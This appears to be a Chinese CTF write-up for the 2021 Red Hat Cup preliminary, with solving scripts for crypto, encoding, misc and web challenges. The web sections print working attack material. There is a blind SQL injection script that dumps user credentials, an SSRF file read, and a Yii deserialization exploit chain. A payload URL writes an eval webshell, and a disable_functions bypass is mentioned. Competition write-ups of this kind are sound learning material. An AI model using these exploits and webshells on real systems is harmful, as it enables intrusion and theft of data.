2021年红帽杯初赛ctf部分试题wp

1 签到 EBC

下载文件发现该文件为EBC编码 使用kali自带工具iconv解码得到flag

Flag{we1c0me_t0_redhat2021}

iconv -f EBCDIC-IT -t utf-8 redhat/EBCDIC.txt

2 密码学-hpcurve

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from itertools import product
import struct
p = 10000000000000001119

K = GF(p)
R.<x> = K[]; y=x
f = y + prod(map(eval, 'yyyyyyy'))
C = HyperellipticCurve(f, 0)
J = C.jacobian()

def get_u_from_out(output, known_input):
res = []
for i in range(24):
res.append(output[i]^^known_input[i])
res = bytes(res)
u0, u1, u2 = struct.unpack("<QQQ", res)
u = x^3+x^2*u2+x*u1+u0
return u


def get_v_from_u(u):
Kbar = GF(p^6)
Rbar.<t> = Kbar["t"]
u2 = u.change_ring(Rbar)
roots = [x[0] for x in u2.roots()]
ys = []
for root in roots:
ys.append(f(root).sqrt(0,1))
res = []
for perm in product(range(2), repeat=3):
poly = Rbar.lagrange_polynomial([(roots[i], ys[i][perm[i]]) for i in range(3)])
if poly[0] in K:
res.append(R(poly))
return res

def try_decode(output, u, v):
rs = [u[0], u[1], u[2], v[0], v[1], v[2]]
otp = struct.pack("<QQQQQQ", *rs)
plain = []
otp = otp*2
for i in range(len(output)):
plain.append(output[i]^^otp[i])
return bytes(plain)


output = bytes.fromhex("66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5")
known_input = b"aaaaaaaaaaaaaaaaaaaaflag"
u = get_u_from_out(output, known_input)
vs = get_v_from_u(u)
for v in vs:
print(try_decode(output,u,v))

在线运行sage代码

3 密码学-primegame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
exp.py:

import math
from decimal import *
import random
import struct

getcontext().prec = int(100)

primes = [2]
for i in range(3, 100):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)

keys = []
for i in range(len(primes)):
keys.append(Decimal(int(primes[i])).ln())

arr = []
for v in keys:
arr.append(int(v * int(16) ** int(64)))
# ct = 597952043660446249020184773232983974017780255881942379044454676980646417087515453
ct = 425985475047781336789963300910446852783032712598571885345660550546372063410589918

def encrypt(res):
h = Decimal(int(0))
for i in range(len(keys)):
h += res[i] * keys[i]

ct = int(h * int(16)**int(64))
return ct

def f(N):
ln = len(arr)
A = Matrix(ZZ, ln + 1, ln + 1)
for i in range(ln):
A[i, i] = 1
A[i, ln] = arr[i] // N
A[ln, i] = 64

A[ln, ln] = ct // N

res = A.LLL()

for i in range(ln + 1):
flag = True
for j in range(ln):
if -64 <= res[i][j] < 64:
continue
flag = False
break
if flag:
vec = [int(v + 64) for v in res[i][:-1]]
ret = encrypt(vec)
if ret == ct:
print(N, bytes(vec))
else:
print("NO", ret, bytes(vec))

for i in range(2, 1000):
print(i)
f(i)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> a = [102, 108, 97, 103, 123, 55, 49, 53, 99, 51, 57, 99, 51, 45, 49, 98, 52, 54, 45, 52, 99, 50, 51, 45, 0]
>>> flag = ''
>>> for i in a:
... flag+=chr(i)
...
>>> flag
'flag{715c39c3-1b46-4c23-\x00'
>>> a = [56, 48, 48, 54, 45, 50, 55, 98, 52, 51, 101, 98, 97, 50, 52, 52, 54, 125, 0, 0, 0, 0, 0, 0, 0]
>>> flag = ''
>>> for i in a:
... flag += chr(i)
...
>>> flag
'8006-27b43eba2446}\x00\x00\x00\x00\x00\x00\x00'

flag{715c39c3-1b46-4c23-8006-27b43eba2446}

4 web-web find it

通过code直接写入phpinfo()

http://eci-2zeg1tmyhxfbmpmn6585.cloudeci1.ichunqiu.com:80/?code=<?php phpinfo();?>

请求hack.php find搜索发现flag

flag{f21c9e0c-b8a0-4191-8e69-3580273b9e91}

本想这道题需要写入shell完成命令执行,真没想到直接搜索,真是好题

5 web-注入

注入脚本bool.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import string
import time
import sys
import urllib

s = requests.session()

header = {
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}

def getLength(url):
return len(s.get(url, headers=header).text)


def judgeLength(baseUrl, payload, resLength):
for i in range(1000):
url = baseUrl + urllib.parse.quote(payload % str(i))
if len(s.get(url, headers=header).text) == resLength:
print((">" * 3) + " " + str(i))
return i
return "@"


def judgeString(baseUrl, payload, length, resLength):
result = ''
for i in range(1, length + 1):
for c in string.printable:
url = baseUrl + urllib.parse.quote(payload % (str(i), str(ord(c))))
if len(s.get(url, headers=header).text) == resLength:
result += c
print((">" * 3) + " " + result)
break
return result

def getDatabase(url, resLength):
payload1 = "&&length(database())=%s"
length = judgeLength(url, payload1, resLength)

payload2 = "&&ascii(substr(database(),%s,1))=%s"
judgeString(url, payload2, int(length), resLength)

def getTables(url, resLength):
payload1 = "&&length((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()))=%s"
length = judgeLength(url, payload1, resLength)

payload2 = "&&ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%s,1))=%s"
judgeString(url, payload2, int(length), resLength)

def getColumns(url, resLength):
payload1 = "&&length((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()&&table_name=0x7573657273))=%s"
length = judgeLength(url, payload1, resLength)

payload2 = "&&ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()&&table_name=0x7573657273),%s,1))=%s"
judgeString(url, payload2, int(length), resLength)

def getResult(url, resLength):
payload1 = "&&length((select/**/group_concat(username,password)/**/from/**/users))=%s"
length = judgeLength(url, payload1, resLength)

payload2 = "&&ascii(substr((select/**/group_concat(username,password)/**/from/**/users),%s,1))=%s"
judgeString(url, payload2, int(length), resLength)

if __name__ == '__main__':
url = "http://eci-2zefc95c45rh9xwew99q.cloudeci1.ichunqiu.com:80/image.php?id=1"
length = getLength(url)
# getUser(url, length)
# getDatabase(url, length)
# getTables(url, length) ## images,users
# getColumns(url, length) ## username,password
getResult(url, length) ## admin xxx可能会不一样de

获取用户名密码

admin f7ba3a53d25a376074e36

直接登录后台跳转至modify.php 该页面存在ssrf 直接读文件直接获取flag

file:///flag

file:///flag

TMD竞赛有非预期解 我不相信出题人故意干的 用御剑可以直接扫描出modify.php 且可以未授权访问 GG

6 web-framework

御剑扫描去www.zip源码包审计发现是一个yii框架, 然后在网站找到YII的cve漏洞的playload(https://blog.csdn.net/xuandao_ahfengren/article/details/111259943),然后修改playload代码,编写exp代码

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
namespace yii\base{
class View{

}
}

namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'eval($_REQUEST["cmd"])';
}
}
}

namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}

}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}


namespace{
$a = new yii\db\BatchQueryResult;
$a->checkAccess = array(new yii\base\View(),"evaluateDynamicContent");
echo base64_encode(serialize(new yii\db\BatchQueryResult));

}
?>

然后写入shell

1
http://eci-2zeekzpgsy8b4rsdmpvb.cloudeci1.ichunqiu.com/index.php?r=site%2Fabout&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NjoiYXNzZXJ0IjtzOjI6ImlkIjtzOjI0OiJhc3NlcnQoJF9SRVFVRVNUWyJjbWQiXSkiO31pOjE7czozOiJydW4iO319fX0=&cmd=die(file_put_contents(%27ab.php%27,%27%3C?php%20eval($_REQUEST[%22cmd%22]);?%3E%27))

得到一个ab.php的

使用蚁剑链接,链接后发现有个readflag 的文件,但是无法直接读取权限为003,直接使用蚁剑的disable_function插件可绕过进行交互式shell读取如下

flag{c70db8f4-5fda-4981-93ab-45b61efd6703}

7 杂项-colorfulcode

data1中的数据范围为0-19,data2中的前60字节数据与后面的数据明显不同,猜测data2中前60字节为像素信息,每3字节一个RGB像素点,则刚好20个像素点,编号为0-19,正好对应data1中的0-19数据,使用脚本将data1中的数据替换为像素点,并创建成一张图片。

data1中数据为7067字节,即一共7067个像素点,分解为宽度高度只有一个结果即37131(或131*37)

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from PIL import Image
a = '0000000000C000FFFF00FF00FFC0FFFFC0C0C0C0FFC0C000FF00FFFF0000C00000C000C0FFFFFFFFFF00FFFFC000C00000C0C0C0FFFFC0FFC00000FF'
px = []
for i in range(20):
tmp = (int(a[i*6:i*6+2],16),int(a[i*6+2:i*6+4],16),int(a[i*6+4:i*6+6],16))
px.append(tmp)
print len(px)
pic = Image.new('RGB',(37,191))
f = open('data1','rb')
str1 = f.read()
f.close()
str1 = str1.split(' ')
num = 0
for x in range(37):
for y in range(191):
pic.putpixel((x,y), px[int(str1[num])])
num+=1
pic.show()
pic.save('xxx.png')

执行脚本得到图片

在线进行转换

得到flag

作者

丨greetdawn丨

发布于

2021-05-10

更新于

2022-04-01

许可协议

评论